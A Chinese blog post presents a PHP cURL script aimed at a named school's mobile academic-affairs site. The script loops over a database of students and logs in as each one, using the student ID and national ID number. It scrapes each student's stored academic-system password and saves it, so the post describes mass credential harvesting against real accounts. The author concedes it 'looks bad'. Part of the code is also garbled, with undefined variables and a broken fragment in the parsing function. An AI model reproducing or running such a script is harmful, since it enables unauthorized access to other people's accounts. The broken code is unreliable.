昨天用到了php中的cURL擴展,想利用cURL做一些實例,我想到一個例子,模擬登陸到我們學校的手機版教務處,然后抓取個人信息里面保存的正方教務處密碼。 手機版教務處:http://211.70.176.123/wap
<?php//1、連接數據庫,獲取學生信息include ('./curlUtils.php');//curl工具類include ('./MySQL.class.php');//mysql工具類set_time_limit(0);//設置不間斷執行$data = Mysql::getAll("select * from student");//所有的學生信息foreach ($data as $stu){ //2、模擬登陸,獲取cookie $cookie = login($stu['xh'],$stu['sfzh']); //3、獲取學生的個人信息 $info = getInfo($cookie); //4、利用正則解析數據 $pwd = parseData($info); //5、寫入數據庫 add($stu['xh'],$pwd);}/** * 將密碼數據寫入到數據庫中 * @param [type] $pwd [description] */function add($xh,$pwd){ $data = ['pwd'=>$pwd]; Mysql::exec('student',$data,'update','xh = '.$xh);}/** * 利用正則解析數據,返回教務處PC端登陸密碼 * @return [type] [description] */function parseData($info){ DHTML($matches[0][5]); $tdList = $dom->getElementsByTagName("td"); $td = $tdList->item(0); $pwd = $td->childNodes->item(0)->wholeText; return $pwd;}/** * 模擬登陸,獲取Cookie * @return [type] [description] */function login($xh,$sfzh){ $curl = new CurlUtils("http://211.70.176.123/wap/index.asp",true); $value = "xh=$xh&sfzh=$sfzh"; file_put_contents('result.html', $curl->post($value)); $fh = fopen('result.html', 'r'); $headers = []; for($i=0;$i<8;$i++){ $headers[] = fgets($fh); } fclose($fh); return substr($headers[6], 12);}/** * 獲取學生的個人信息 * @return [type] [description] */function getInfo($cookie){ $curl = new CurlUtils("http://211.70.176.123/wap/grxx.asp"); $value = ["Cookie: $cookie"]; $curl->addHeader($value); return $curl->get();}?>上面的代碼主要有5個步驟: 1、查詢數據庫中的全部學生 2、循環遍歷學生,模擬登陸,獲取cookie 3、攜帶cookie獲取學生的個人信息 4、利用正則解析數據,返回教務處PC端登陸密碼 5、寫入數據庫
注:上面用到了兩個工具類,都是我以前就封裝好的,都開源到博客上了。 curlUtils工具類:http://blog.csdn.net/baochao95/article/details/55105748 Mysql工具類:http://blog.csdn.net/baochao95/article/details/52055353
圖我就不貼了,畢竟影響不好!
擴展: 1、我們還可以自己制作API來判斷學生是否屬于這個學校 2、判斷學生是否為計算機學院的學生
新聞熱點
疑難解答